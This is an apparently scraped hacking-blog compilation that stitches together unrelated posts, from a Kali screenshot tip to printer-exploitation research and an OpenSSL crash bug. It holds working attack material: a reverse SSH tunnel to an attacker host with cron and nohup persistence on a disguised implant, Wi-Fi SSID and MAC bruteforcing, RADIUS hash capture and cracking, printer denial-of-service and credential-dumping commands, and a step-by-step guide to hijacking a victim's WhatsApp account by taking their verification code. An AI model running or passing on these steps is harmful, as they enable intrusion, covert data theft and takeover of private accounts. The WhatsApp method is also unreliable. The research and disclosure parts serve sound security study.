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الخميس، 16 أبريل 2020

HOW TO CAPTURE SCREENSHOT IN KALI LINUX? – KALI LINUX TUTORIAL

Kali Linux has been the most advanced penetration testing machine introduced yet. It has the most valuable tools used for every sort of hacking. To take advantage of Kali Linux hacking tools, you have to switch your OS to Kali Linux. You can either install Kali Linux as your default OS or just install as a virtual machine within the same OS. You can learn more about how to install Kali Linux Virtualbox. Today in this tutorial, I am just going to share a very simple Kali Linux tutorial on how to capture screenshot in Kali Linux. It's very simple and newbie friendly.

SO, HOW TO CAPTURE SCREENSHOT IN KALI LINUX? – KALI LINUX TUTORIAL

There are two ways to capture a screenshot in Kali Linux. One is the ultimate easy one and the second one is a bit complex but it's also not so complicated. So, don't worry about anything.

INSTRUCTIONS TO FOLLOW

In a first way, you can take a screenshot in a similar way as you take in Windows OS by simply clicking the PrntScr button on the keyboard. As you hit that button, a screenshot will be saved in the Pictures folder of your Kali Linux. The major problem with it, it only captures the full screen. We have no control over it to capture a specific window or region.
The second way is to take a screenshot using the command. For that, open up a terminal in the Kali Linux and type apt-get install ImageMagick.
Once the command is completed and ImageMagick is installed. We have two options to take a screenshot with it. One is to capture full screen and second is to capture a specific window.
To capture full screen, type import -window root Pictures/AnyNameOfTheImage.png in the terminal. It will take a full screenshot and will save it to the Pictures directory by the name you specify. Make sure to type .png at the end of the file name.
To take a screenshot of a specific window or region, type import Pictures/AnyNameOfTheImage.png in the terminal and hit Enter, it will turn the cursor to a selection tool. You just click the mouse button and select the area you want to capture. As you will leave the mouse key, screenshot will be saved in the Pictures folder.

That's all how you can capture screenshot in Kali Linux. This is a very simple and beginner-friendly Kali Linux tutorial to help out all the newbies how they can use this features in need. Hope it will be useful for you.

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Backchannel Data Exfiltration Via Guest/R&D Wi-Fi

Often times I find unprotected wireless access points with unfettered access to the internet for research or guest access purposes. This is generally through an unauthenticated portal or a direct cable connection. When questioning the business units they explain a low value network, which is simply a internet pass thru separate from the internal network. This sounds reasonable and almost plausible however I usually explain the dangers of having company assets on an unprotected Wi-Fi and the dangers of client side exploits and MITM attacks. But there are a few other plausible scenarios one should be aware of that may scare you a bit more then the former discussion.

What about using OpenWifi as a backchannel data exfiltration medium?

An open Wi-Fi is a perfect data exfiltration medium for attackers to completely bypass egress filtering issues, DLP, proxy filtering issues and a whole bunch of other protection mechanisms in place to keep attackers from sending out shells and moving data between networks. This can easily be accomplished via dual homing your attack host utilizing multiple nic cards which are standard on almost all modern machines. Whether this is from physical access breach or via remote compromise the results can be deadly. Below are a few scenarios, which can lead to undetectable data exfiltration.

Scenario 1: (PwnPlug/Linux host with Wi-Fi adaptor)
The first useful scenario is when a physical perimeter has been breached and a small device from http://pwnieexpress.com/ known as a pwn-plug is installed into the target network or a linux host with a wireless card. I usually install pwn-plug's inside a closet or under a desk somewhere which is not visible and allows a network connection out to an attacker owned host. Typically its a good idea to label the small device as "IT property and Do Not Remove". This will keep a casual user from removing the device. However if there is network egress and proxy filtering present then our network connection may never reach a remote host. At this point your physical breach to gain network access to an impenetrable network perimeter will fail. Unless there happens to be an open cable Wi-Fi connection to an "inconsequential R&D network".

By simply attaching an Alpha card to the pwnplug you can connect to the R&D wireless network. You can then use this network as your outgoing connection and avoid corporate restrictions regarding outbound connections via metasploit or ssh. I have noticed that most clients these days are running heavy egress filtering and packet level protocol detection, which stops outbound connections. Rather then play the obfuscation game i prefer to bypass the restrictions all together using networks which have escaped corporate policy.

You can automate the following via a script if you wardrive the facility prior to entrance and gain insight into the open wireless network, or you can also configure the plug via serial connection on site provided you have time.

Connect to wifi:
ifconfig wlan0 up
iwconfig wlan0 essid [targetNetworkSSID]
dhclient wlan0

Run a reverse SSH tunnel:
ssh -R 3000:127.0.0.1:22 root@remoteHost.com

On the remote host you can retrieve your shell:
ssh -p 3000 User@localhost

Once you have authenticated with the pwnplug via your local host port forward you now have access into the internal network via an encrypted tunnel which will not be detected and fully bypass any corporate security restrictions. You can take this a bit further and setup some persistence in case the shell goes down.. This can be done via bash and nohup if you setup some ssh keys to handle authentication.. One example could be the following script:

Your bash script:
#---------------------
#!/bin/bash
while true
do
ssh -R 3000:127.0.0.1:22 root@remoteHost.com
sleep 10
done
#---------------------

Run this with nohup like this:
nohup ./shell.sh &

Another simple way would be to setup a cron job to run a script with your ssh command on a specified interval for example every 5 minutes like so:

Cron job for every 5 minutes:
*/5 * * * * /shell.sh

Scenario 2: (Remote Windows Compromise)
The second scenario is that of a compromised modern windows machine with a wireless card, this can be used to make a wireless connection outbound similar to the first scenario which will bypass restrictions by accessing an unrestricted network. As shown in "Vista Power Tools" paper written by Josh Wright you can use modern windows machines cards via the command line.
http://www.inguardians.com/pubs/Vista_Wireless_Power_Tools-Wright.pdf

Below are the commands to profile the networks and export a current profile then import a new profile for your target wireless network. Then from there you can connect and use that network to bypass corp restrictions provided that wireless network doesn't have its own restrictions.

Profile Victim machine and extract a wireless profile:
netsh wlan show interfaces
netsh wlan show networks mode=bssid
netsh wlan show profiles
netsh wlan export profile name="CorpNetwork"

Then modify that profile to meet the requirements needed for the R&D network and import it into the victim machine.

Upload a new profile and connect to the network:
netsh wlan add profile filename="R&D.xml"
netsh wlan show profiles
netsh wlan connect name="R&D"

If you check out Josh's excellent paper linked above you will also find ways of bridging between ethernet and wireless adaptors along with lots of other ideas and useful information.

I just got thinking the other day of ways to abuse so called guest or R&D networks and started writing down a few ideas based on scenarios which play out time and time again while penetration testing networks and running physical breach attacks. I hear all to often that a cable connection not linked to the corporate network is totally safe and I call bullshit on that.

الأربعاء، 15 أبريل 2020

Wireless Scenarios Part 1: EAP-Radius JTR Hashcat, SSID MAC Issues And More

Intro:
I have been on a number of wireless engagements again lately and much like the wireless blog i wrote over a year ago i am trying various combinations of techniques and tools in conjunction to gain access to networks. I will show a range of tools and techniques mostly as a reminder to myself. The format will be scenario based on what i have been seeing while testing. Some of these tools include JTR/Hashcat with specialized rulesets, mdk3 for SSID/MAC bruteforcing, evil access points for bypassing guest networks, DNS redirection/tunneling as well as radius-wpe attacks etc... This will be a 2 part blog, first blog being more Pre-Auth attacks and the second blog being more client attacks.

Finding Hidden SSID's and Limited user network attacks:
Recently i have been on a lot of tests where administrators think its a wonderful idea to hide their SSID's. Administrators feel that if they hide their SSID's they are magically secure. While Cloaked SSID's may pose a slight problem it's not a security feature. Especially when hiding WEP encrypted networks. One issue that keeps coming up is hidden networks with NO clients thus no probe request/response traffic available to passively capture an SSID. Without clients you can't de-authenticate and force reconnections requests with SSID's. To top that off administrators are also running another trivial security feature known as MAC filtering. While MAC filtering is also easy to bypass, again there are no clients on the network so we must come up with strategies to figure out both the SSID's and the possible client MAC addresses. Lets start by addressing the SSID issue.
SSID's can generally be seen in the Beacon traffic. However, if MAC cloaking or hidden SSID's are enabled on your access point they are stripped from the beacon traffic. Striping the beacons of SSID's is usually not a problem if there are clients looking to join the network. As the SSID's must be sent in probe traffic to successfully inquire about joining the network, and SSID's are than easily obtained. Thus why tools like kismet can passively discover the correct SSID given a bit of time and a few clients probing for the hidden network. But, what happens if there is no client traffic?
So the actual scenario i was presented with recently was a Cloaked SSID on a limited use network running WEP, which had a MAC filtered client device. This device would attach to the network once a day for a limited amount of time. So the first piece of the puzzle would be figuring out the SSID for later use then tackling the rest of the problem.

We start with a nice little tool called MDK3 which can be used to send out mass SSID requests in either dictionary style or bruteforce in order to determine an SSID. Lets start with the simple syntax then get into some more fine tuned strategies for determining SSID's based on the mind of the sysadmin.

There are 2 modes i have been using, one is dictionary mode and the other bruteforce mode, i would always start with dictionary because its faster. If a dictionary gives no resultes then move to bruteforce techniques. Also have your Airodump-ng/Kismet running during the attack and if the SSID is found it should apear in there as well as your MDK3 results window. You can get your target BSSID value from airodump along with useful information sometimes regarding length of a hidden SSID value which can be used in fine tuning bruteforcing. MDK3 will automatically pick the correct length and then begin bruteforcing based on that length value:

Below is an example of SSID Length Output:
CH 6 ][ Elapsed: 8 s ][ 2012-03-01 21:08
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:24:A5:6F:2E:D5 -59 5 0 0 5 54 WEP WEP length: 12
00:1A:A1:05:E8:20 -61 2 0 0 3 48 . WEP WEP length: 1
00:24:A5:6F:37:9F -64 2 0 0 5 54 WEP WEP length: 12

You will notice example output above says that one SSID is of length 12 and another is of length 1, these are the SSID perceived length values based on values in the packet capture. Not always accurate because these values are just Null place holder values and not always set accurately. Essentially one SSID packet above has a one null value while the other packet has 12 null values as placeholders. If a length of 1 is present you may have to start at 1 and go through the whole range of brute forcing. If the length is known then you can start and end at 12 in this case shortening the full bruteforce time considerably.

Attack Modes and Info:
Dictionary Mode:
./mdk3 [Interface] p -c 1 -t [BSSID] -f [dictionary] -s 100

Bruteforce mode:
./mdk3 [Interface] p -c 1 -t [BSSID] -b u -s 100

Above Switch mappings are defined as the following:
b = bruteforce also can add a character set b [charset]
s = packet speed
c = channel
f = ssid dictionary file

I first tried a regular dictionary attack of common words:
ficti0n:# mdk3 mon0 p -c 1 -t 00:01:55:B1:A3:A5 -f english.txt
channel set to: 1
SSID Wordlist Mode activated!
Waiting for beacon frame from target...
Sniffer thread started
Found SSID length 1, usually a placeholder, no information about real SSIDs length available.
Trying SSID:
Packets sent: 1 - Speed: 1 packets/sec
Got response from 03:F0:9F:17:08:32, SSID: "Secure_Access"
Last try was: (null)
Trying SSID: beauty
Packets sent: 167 - Speed: 166 packets/sec
Got response from 03:F0:9F:17:08:33, SSID: "Guest_Access"
Last try was: (null)
Trying SSID: bianca
Trying SSID: winnie
Trying SSID: isabella
Trying SSID: sierra
Trying SSID: 00000000
Trying SSID: dancer1
Packets sent: 32507 - Speed: 376 packets/sec
Got response from 00:3B:10:47:33:32, SSID: "wow"

I began with a dictionary against a network address i got from my initial airodump-ng. On my first MDK3 run i found one new access point named "wow" but i didnt find the target AP's SSID. If you look at the above MDK3 output there are 2 other networks with similar formats which may reflect our target networks format. Below you will see a similar format.

Guest_Access
Secure_Access

Creating a Custom dictionary based on observations:
If the target company has a repeating SSID format we can create our own dictionary file. According to the above output the format is [Word]_Access, we can take advantage of this by creating a new list with python using the company format. Break open your python editor and create a quick script to parse the english dictionary in the proper format for our attack by uppercasing every dictionary word and appending the word "Access".

#--------------------------------------------------------------
#!/usr/bin/python

dictionary = open("rockyou-75.txt", "r")
SSID_List = open("SSID_List.txt", "a")

for word in dictionary:
word = str.capitalize(word) + "Access"
SSID_List.write(word)

SSID_List.close()
dictionary.close()

#----------------------------------------------------------------

I then ran MDK3 again with my modified list. When this was done I then was able to get a response from MDK3 and determine the SSID of the target network, shown below.

Got response from 00:01:55:B1:A3:A5, SSID: "Secret_Access"

Luckily i didn't have to resort to a true bruteforce attack although the format is shown above for completeness.

MDK3 MAC address Bruteforce:
The next issue is that of determining a valid MAC address on a network without any known clients, this can also be done with MDK3 and bruteforce mode. I would suggest looking at other client MAC addresses on the guest or corporate networks as a starting point. Then use those vendor startpoints as your bruteforce values. So if for example you know a bit about the company based on other network MAC values you can use this knowledge in your brute forcing with the -f switch. Below is a basic command ouput for bruteforcing MAC address filters.

ficti0n:# mdk3 mon0 f -t

Trying MAC 00:00:22:00:00:00 with 100.0000 ms timeout at 0 MACs per second and 0 retries

Trying MAC 00:00:22:00:00:00 with 100.0000 ms timeout at 0 MACs per second and 1 retries

Packets sent: 2 - Speed: 1 packets/sec

Found a valid MAC adress: 00:00:22:00:00:00

Have a nice day! :)

Mdk3 -fullhelp output:
--------------------------------------------------------------

MAC filter bruteforce mode
This test uses a list of known client MAC Adresses and tries to
authenticate them to the given AP while dynamically changing
its response timeout for best performance. It currently works only
on APs who deny an open authentication request properly
-t
Target BSSID
-m
Set the MAC adress range to use (3 bytes, i.e. 00:12:34)
Without -m, the internal database will be used
-f
Set the MAC adress to begin bruteforcing with
(Note: You can't use -f and -m at the same time)

---------------------------------------------------------------------

I wasn't aware of the above technique at the time of testing but i did give it a try on a local Access Point and found a useable mac address under contrived scenarios. So this was worth noting as I found almost zero mention of it when searching around. Also note that some access points do not properly handle the authentication scenarios in which case the above technique will not work correctly. Usually the user sends an auth request and then the AP sends an auth response denoting success or failure along with an error code, but MAC filering is not part of the normal standard so results will vary regarding error codes. This is AP functionality independent. When it does work it gives you a little smily face and says it found a useable MAC address [SHOWN ABOVE] . Unfortunately in my penetration test I was stuck waiting for a client to come online to get a useable MAC address. Below are a few ideas for the rest of the scenario.

Depending on the location and use of the limited connectivity device there are a few options available for retrieving the WEP key. Networks with hidden SSID's have clients who are always probing for hidden networks whether onsite or remote. You could attack a client directly via a Cafe Latte attack. A Caffe Latte attack woud attack a client with a fake access point and gratuitas ARP requests to discover the WEP key of "Secret_Access" by flooding the client with ARP requests it responds to, generating enough traffic to derive the WEP key. This technique is useful now that you know the SSID, especially if the device is being used at the local coffee shop. I will take a look at this attack in the next blog when focusing on client based attacks.

Caffe Latte was not a good option for me because the device appears online for a short period of time and might not be available either offsite at a coffee shop or even locally long enough to generate enough traffic to crack the network. In this test I however didn't have enough time to see client actually get online but had I see the client get online I would have noted his MAC address and then configured a chop chop or fragmentation attack against the network whether the client was available or not all i would really need is one data packet. I will not illustrate this whole technique as it is fully covered in the following link Cracking WEP with no Clients.

Cracking Radius /PEAP/TTLS Hashes: (Post EAP Attack)
This is about attacking hashes from WPE Radius attacks, but just as a reference before we start here is a quick radius attack setup guide without going into to much detail.

Steps to Setup WPE attack

Install the following freeradius server and WPE patch. http://blog.opensecurityresearch.com/2011/09/freeradius-wpe-updated.html
Start your WPE server by typing 'radiusd'
Tail your log file so you can see incoming credentials 'tail -f /usr/local/var/log/radius/freeradius-server-wpe.log
Setup an access point with similar settings as to what you are seeing in airodump or wireshark essentially this will be a WPA Enterprise with AES and a default secret of 'test' which is set in the WPE installed package by default so it can talk between the AP and the radius server. You will also need to run an ifconfig on your radius server box so you know what address to point the AP too.
Optionally you can use hostAP instead of a physical enterprise AP setup.

Use one of your local computers to connect to the FreeRadius wireless network and type in a fake username/password to grab an example hash. If you dont see your hash output in the logfile then double check all your ip addresses and insure your server is running. In a real attack you would wait for clients to attach to your Access point and the credentials will be forwarded to your FreeRadius-WPE server. Once this is done the fun begins and also where we will start in our attack scenario.

Formatting hashes:
Your hashes can come in a few formats, they might come back as PAP responses in which case they will be plain text passwords. Plaintext PAP can sometimes be a result of mobile devices sending paswords. Otherwise your attack will result in MSChap password challenge/response hashes. Once you receive your MSChap hashes they have to be formated in a specific way in order to crack them. Here is an example hash and the proper format to use before trying to crack the hashes.

Example Hash:
mschap: Mon Feb 05 19:35:59 2012
username: test
challenge: b3:f8:48:e9:db:02:22:83
response: 15:36:d7:e9:da:43:1f:5f:d2:4b:51:53:87:89:63:b7:12:26:7c:a8:f7:ea:9c:26

Formated for john:(username::::response:challenge)
test::::1536d7e9da431f5fd24b5153878963b712267ca8f7ea9c26:b3f848e9db022283

Tool to automate this: (Tool Link)
One of my friends wrote a python script that will take your freeradius-server-wpe.log as input and format out all of the hashes one per line.. The script output can be fed directly into John The Ripper(JTR).

JTR Cracking and Custom Rulesets:
One way to crack these hashes is to use JTR with a bunch of dictionary attacks and if that fails procede from there with custom korelogic rulesets. Check out preceding link for more info on password cracking techniques which can be employed in addition to this blog. Below I will reiterate a few points on setting up JTR with custom rulesets from the Defcon challenge in 2010 based on the previous link and then how to parse them out and use them.

The first thing to note is that the format of the hashes you get from WPE will generally be considered NETNTLM within JTR so we will have to specify that as well as the wordlists we would like to use to start.

Dictionary attacking first:
First go into your JTR directory and try to crack with some dictionaries of your choosing:
ficti0n:# cd Desktop/Tools\ /john/run
ficti0n:# ./john --wordlist=wordlists/wpa.txt --format=NETNTLM JohnFormat.txt

Loaded 1 password hash (NTLMv1 C/R MD4 DES [netntlm])
test (test)
guesses: 1 time: 0:00:00:00 100.00% (ETA: Tue Mar 20 19:29:31 2012) c/s: 692441 trying: test

Custom Rules: korelogic rulesets (Link)
If the cracking fails on all of your wordlists then try installing custom rulesets with the following sequence of commands meant do download and then append the rules to the current john file. The following command can also be found at the above Korelogic link.
ficti0n:# wget http://contest-2010.korelogic.com/rules.txt
ficti0n:# cat rules.txt >> john.conf

Once this is done you can directly specify any rule in the file similar to the following:
ficti0n:# ./john --wordlist=wordlists/english.txt --format=NETNTLM --rules:KoreLogicRulesAppendNum_AddSpecialEverywhere johnFormat.txt

Or if you are time independent just let them all rip and go on vacation and check the results when you get back LOL
ficti0n:# for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do ./john --wordlist=wordlists/english.txt --format=NETNTLM --rules:${ruleset} JohnFormat.txt; done

Hashcat rulesets and building pasword files:
Another way to build complex password files is to use tools like HashCat with supplied password rules and pipe it out to STDOut, either into a file or the STDIn of other cracking programs like John the Ripper. There is a rules folder in HashCat which has a number of rules provided by default.

Available Hashcat Rules:
ficti0n:# ls
best64.rule generated.rule passwordspro.rule T0XlC.rule toggles3.rule
combinator.rule leetspeak.rule perfect.rule toggles1.rule toggles4.rule
d3ad0ne.rule oscommerce.rule specific.rule toggles2.rule toggles5.rule

Creating Passwords with Hashcat and a dictionary:
ficti0n:# ./hashcat-cli32.bin -r rules/passwordspro.rule ../wordlists/cain.txt --stdout

You can also pipe passwords directly into JTR from hashcat output but its really slow so I suggest you make a world list then load it up with --wordlist, but the example is shown below.

Piping Hashcat password rules into JTR: (really slow)
ficti0n:# ./hashcat-cli32.bin -r rules/passwordspro.rule ../wordlists/rockyou-75.txt --stdout |/pentest/passwords/john/john --format=NETNTLM JohnFormat.txt --stdin

I hope someone finds my above notes useful, I am going to write up some client side attack stuff as well and post it up here... Let me know if you have any questions or need more clarification on anything covered in the blogs.

More information

TLS V1.2 Sigalgs Remote Crash (CVE-2015-0291)

OpenSSL 1.0.2a fix several security issues, one of them let crash TLSv1.2 based services remotelly from internet.

Regarding to the TLSv1.2 RFC, this version of TLS provides a "signature_algorithms" extension for the client_hello.

Data Structures

If a bad signature is sent after the renegotiation, the structure will be corrupted, becouse structure pointer:
s->c->shared_sigalgs will be NULL, and the number of algorithms:
s->c->shared_sigalgslen will not be zeroed.
Which will be interpreted as one algorithm to process, but the pointer points to 0x00 address.

Then tls1_process_sigalgs() will try to process one signature algorithm (becouse of shared_sigalgslen=1) then sigptr will be pointer to c->shared_sigalgs (NULL) and then will try to derreference sigptr->rhash.

This mean a Segmentation Fault in tls1_process_sigalgs() function, and called by tls1_set_server_sigalgs() with is called from ssl3_client_hello() as the stack trace shows.

StackTrace

The following code, points sigptr to null and try to read sigptr->rsign, which is assembled as movzbl eax, byte ptr [0x0+R12] note in register window that R12 is 0x00

Debugger in the crash point.

radare2 static decompiled

The patch fix the vulnerability zeroing the sigalgslen.
Get David A. Ramos' proof of concept exploit here

HOW TO HACK WHATSAPP ACCOUNT? – WHATSAPP HACK

In the last article, I have discussed a method on WhatsApp hack using SpyStealth Premium App. Today I am gonna show you an advanced method to hack WhatsApp account by mac spoofing. It's a bit more complicated than the last method discussed and requires proper attention. It involves the spoofing of the mac address of the target device. Let's move on how to perform the attack.

SO, HOW TO HACK WHATSAPP ACCOUNT?

STEP TO FOLLOW FOR WHATSAPP HACK

Here I will show you complete tutorial step by step of hacking WhatsApp account. Just understand each step carefully so this WhatsApp hack could work great.

Find out the victim's phone and note down it's Mac address. To get the mac address in Android devices, go to Settings > About Phone > Status > Wifi Mac address. And here you'll see the mac address. Just write it somewhere. We'll use it in the upcoming steps.
As you get the target's mac address, you have to change your phone's mac address with the target's mac address. Perform the steps mentioned in this article on how to spoof mac address in android phones.
Now install WhatsApp on your phone and use victim's number while you're creating an account. It'll send a verification code to victim's phone. Just grab the code and enter it here.
Once you do that, it'll set all and you'll get all chats and messages which victims sends or receives.

This method is really a good one but a little difficult for the non-technical users. Only use this method if you're technical skills and have time to perform every step carefully. Otherwise, you can hack WhatsApp account using Spying app.

If you want to know how to be on the safer edge from WhatsApp hack, you can follow this article how to protect WhatsApp from being hacked.

More info

Printer Security

Printers belong arguably to the most common devices we use. They are available in every household, office, company, governmental, medical, or education institution.

From a security point of view, these machines are quite interesting since they are located in internal networks and have direct access to sensitive information like confidential reports, contracts or patient recipes.

TL;DR: In this blog post we give an overview of attack scenarios based on network printers, and show the possibilities of an attacker who has access to a vulnerable printer. We present our evaluation of 20 different printer models and show that each of these is vulnerable to multiple attacks. We release an open-source tool that supported our analysis: PRinter Exploitation Toolkit (PRET) https://github.com/RUB-NDS/PRET

Full results are available in the master thesis of Jens Müller and our paper.

Furthermore, we have set up a wiki (http://hacking-printers.net/) to share knowledge on printer (in)security.
The highlights of the entire survey will be presented by Jens Müller for the first time at RuhrSec in Bochum.

Background

There are many cool protocols and languages you can use to control your printer or your print jobs. We assume you have never heard of at least half of them. An overview is depicted in the following figure and described below.

Device control

This set of languages is used to control the printer device. With a device control language it is possible to retrieve the printer name or status. One of the most common languages is the Simple Network Management Protocol (SNMP). SNMP is a UDP based protocol designed to manage various network components beyond printers as well, e.g. routers and servers.

Printing channel

The most common network printing protocols supported by printer devices are the Internet Printing Protocol (IPP), Line Printer Daemon (LPD), Server Message Block (SMB), and raw port 9100 printing. Each protocol has specific features like print job queue management or accounting. In our work, we used these protocols to transport malicious documents to the printers.

Job control language

This is where it gets very interesting (for our attacks). A job control language manages printer settings like output trays or paper size. A de-facto standard for print job control is PJL. From a security perspective it is very useful that PJL is not limited to the current print job as some settings can be made permanent. It can further be used to change the printer's display or read/write files on the device.

Page description language

A page description language specifies the appearance of the actual document. One of the most common 'standard' page description languages is PostScript. While PostScript has lost popularity in desktop publishing and as a document exchange format (we use PDF now), it is still the preferred page description language for laser printers. PostScript is a stack-based, Turing-complete programming language consisting of about 400 instructions/operators. As a security aware researcher you probable know that some of them could be useful. Technically spoken, access to a PostScript interpreter can already be classified as code execution.

Attacks

Even though printers are an important attack target, security threats and scenarios for printers are discussed in very few research papers or technical reports. Our first step was therefore to perform a comprehensive analysis of all reported and published attacks in CVEs and security blogs. We then used this summary to systematize the known issues, to develop new attacks and to find a generic approach to apply them to different printers. We estimated that the best targets are the PostScript and PJL interpreters processing the actual print jobs since they can be exploited by a remote attacker with only the ability to 'print' documents, independent of the printing channel supported by the device.

We put the printer attacks into four categories.

Denial-of-service (DoS)

Executing a DoS attack is as simple as sending these two lines of PostScript code to the printer which lead to the execution of an infinite loop:

Denial-of-service%!
{} loop

Other attacks include:

Offline mode. The PJL standard defines the OPMSG command which 'prompts the printer to display a specified message and go offline'.
Physical damage. By continuously setting the long-term values for PJL variables, it is possible to physically destroy the printer's NVRAM which only survives a limited number of write cycles.
Showpage redefinition. The PostScript 'showpage' operator is used in every document to print the page. An attacker can simply redefine this operator to do nothing.

Protection Bypass

Resetting a printer device to factory defaults is the best method to bypass protection mechanisms. This task is trivial for an attacker with local access to the printer, since all tested devices have documented procedures to perform a cold reset by pressing certain key combinations.
However, a factory reset can be performed also by a remote attacker, for example using SNMP if the device complies with RFC1759 (Printer MIB):

Protection Bypass# snmpset -v1 -c public [printer] 1.3.6.1.2.1.43.5.1.1.3.1 i 6

Other languages like HP's PML, Kyocera's PRESCRIBE or even PostScript offer similar functionalities.

Furthermore, our work shows techniques to bypass print job accounting on popular print servers like CUPS or LPRng.

Print Job Manipulation

Some page description languages allow permanent modifications of themselves which leads to interesting attacks, like manipulating other users' print jobs. For example, it is possible to overlay arbitrary graphics on all further documents to be printed or even to replace text in them by redefining the 'showpage' and 'show' PostScript operators.

Information Disclosure

Printing over port 9100 provides a bidirectional channel, which can be used to leak sensitive information. For example, Brother based printers have a documented feature to read from or write to a certain NVRAM address using PJL:

Information Disclosure@PJL RNVRAM ADDRESS = X

Our prototype implementation simply increments this value to dump the whole NVRAM, which contains passwords for the printer itself but also for user-defined POP3/SMTP as well as for FTP and Active Directory profiles. This way an attacker can escalate her way into a network, using the printer device as a starting point.
Other attacks include:

File system access. Both, the standards for PostScript and PJL specify functionality to access the printers file system. As it seems, some manufacturers have not limited this feature to a certain directory, which leads to the disclosure of sensitive information like passwords.
Print job capture. If PostScript is used as a printer driver, printed documents can be captured. This is made possible by two interesting features of the PostScript language: First, permanently redefining operators allows an attacker to 'hook' into other users' print jobs and secondly, PostScript's capability to read its own code as data allows to easily store documents instead of executing them.

Credential disclosure. PJL passwords, if set, can easily retrieved through brute-force attacks due to their limited key space (1..65535). PostScript passwords, on the other hand, can be cracked extremely fast (up to 100,000 password verifications per second) thanks to the performant PostScript interpreters.

PRET

To automate the introduced attacks, we wrote a prototype software entitled PRET. The main idea of PRET is to facilitate the communication between the end-user and the printer. Thus, by entering a UNIX-like command PRET translates it to PostScript or PJL, sends it to the printer, and evaluates the result. For example, PRET converts a UNIX command ls to the following PJL request:

Information Disclosure@PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535

It then collects the printer output and translates it to a user friendly output.

PRET implements the following list of commands for file system access on a printer device:

Evaluation

As a highly motivated security researcher with a deep understanding of systematic analysis, you would probably obtain a list of about 20 - 30 well-used printers from the most important manufacturers, and perform an extensive security analysis using these printers.
However, this was not our case. To overcome the financial obstacles, we collected printers from various university chairs and facilities. While our actual goal was to assemble a pool of printers containing at least one model for each of the top ten manufacturers, we practically took what we could get. The result is depicted in the following figure:

The assembled devices were not brand-new anymore and some of them were not even completely functional. Three printers had physically broken printing functionality so it was not possible to evaluate all the presented attacks. Nevertheless, these devices represent a good mix of printers used in a typical university or office environment.

Before performing the attacks, we of course installed the newest firmware on each of the devices. The results of our evaluation show that we could find multiple attacks against each printer. For example, simple DoS attacks with malicious PostScript files containing infinite loops are applicable to each printer. Only the HP LaserJet M2727nf had a watchdog mechanism and restarted itself after about ten minutes. Physical damage could be caused to about half of the tested device within 24 hours of NVRAM stressing. For a majority of devices, print jobs could be manipulated or captured.

PostScript, PJL and PML based attacks can even be exploited by a web attacker using advanced cross-site printing techniques. In the scope of our research, we discovered a novel approach – 'CORS spoofing' – to leak information like captured print jobs from a printer device given only a victim's browser as carrier.
A proof-of-concept implementation demonstrating that advanced cross-site printing attacks are practical and a real-world threat to companies and institutions is available at http://hacking-printers.net/xsp/.

Our next post will be on adapting PostScript based attacks to websites.

Authors of this Post

Jens Müller
Juraj Somorovsky

Vladislav Mladenov